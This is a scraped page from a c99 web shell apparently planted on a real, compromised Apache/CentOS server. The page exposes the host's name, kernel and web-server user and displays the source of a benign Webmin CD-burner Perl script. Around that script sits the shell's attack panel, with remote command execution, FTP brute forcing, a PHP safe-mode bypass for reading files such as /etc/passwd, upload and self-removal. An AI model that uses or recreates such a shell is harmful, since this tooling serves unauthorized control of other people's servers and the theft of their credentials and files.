!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/burner/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (2.42 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# index.cgi
# Display burn profiles and icons for global options

require './burner-lib.pl';
&ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1, 0,
    &help_search_link("cdrecord mkisofs", "man", "doc"));

if (!&has_command($config{'cdrecord'})) {
    print "<p>",&text('index_ecdrecord', "<tt>$config{'cdrecord'}</tt>",
              "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n";
    &ui_print_footer("/", $text{"index"});
    exit;
    }

print &ui_subheading($text{'index_profiles'});
@allprofiles = &list_profiles();
@profiles = grep { &can_use_profile($_) } @allprofiles;
if (@profiles) {
    #&show_button();
    @tds = ( "width=5" );
    print &ui_form_start("delete_profiles.cgi", "post");
    @links = ( &select_all_link("d", 1),
           &select_invert_link("d", 1) );
    print &ui_links_row(\@links);
    print &ui_columns_start([ "",
                  $text{'index_name'},
                  $text{'index_type'},
                  $text{'index_files'} ], 100, 0, \@tds);
    foreach $p (@profiles) {
        local @cols;
        push(@cols, "<a href='edit_profile.cgi?id=$p->{'id'}'>".
                "$p->{'name'}</a>");
        push(@cols, $text{'index_type'.$p->{'type'}});
        if ($p->{'type'} == 1) {
            push(@cols, $p->{'iso'});
            }
        elsif ($p->{'type'} == 4) {
            push(@cols, $p->{'sdesc'});
            }
        else {
            $sources = "";
            for($i=0; defined($p->{"source_$i"}); $i++) {
                $sources .= "&nbsp;|&nbsp;\n" if ($i);
                $sources .= $p->{"source_$i"};
                }
            push(@cols, $sources);
            }
        print &ui_checked_columns_row(\@cols, \@tds, "d", $p->{'id'});
        }
    print &ui_columns_end();
    print &ui_links_row(\@links);
    print &ui_form_end([ [ "delete", $text{'index_delete'} ] ]);
    }
elsif (@allprofiles) {
    print "<b>$text{'index_noaccess'}</b><p>\n";
    }
else {
    print "<b>$text{'index_none'}</b><p>\n";
    }
&show_button();

if ($access{'global'}) {
    print &ui_hr();
    @links = ( "edit_mkisofs.cgi", "edit_dev.cgi" );
    @titles = ( $text{'mkisofs_title'}, $text{'dev_title'} );
    @icons = ( "images/mkisofs.gif", "images/dev.gif" );
    &icons_table(\@links, \@titles, \@icons);
    }

&ui_print_footer("/", $text{'index'});

sub show_button
{
if ($access{'create'}) {
    print "<form action=edit_profile.cgi>\n";
    print "<input type=submit value='$text{'index_add'}'>\n";
    print "<select name=type>\n";
    print "<option value=1 checked> $text{'index_type1'}\n";
    print "<option value=2> $text{'index_type2'}\n";
    print "<option value=3> $text{'index_type3'}\n";
    print "<option value=4> $text{'index_type4'}\n";
    print "</select></form>\n";
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0115 ]--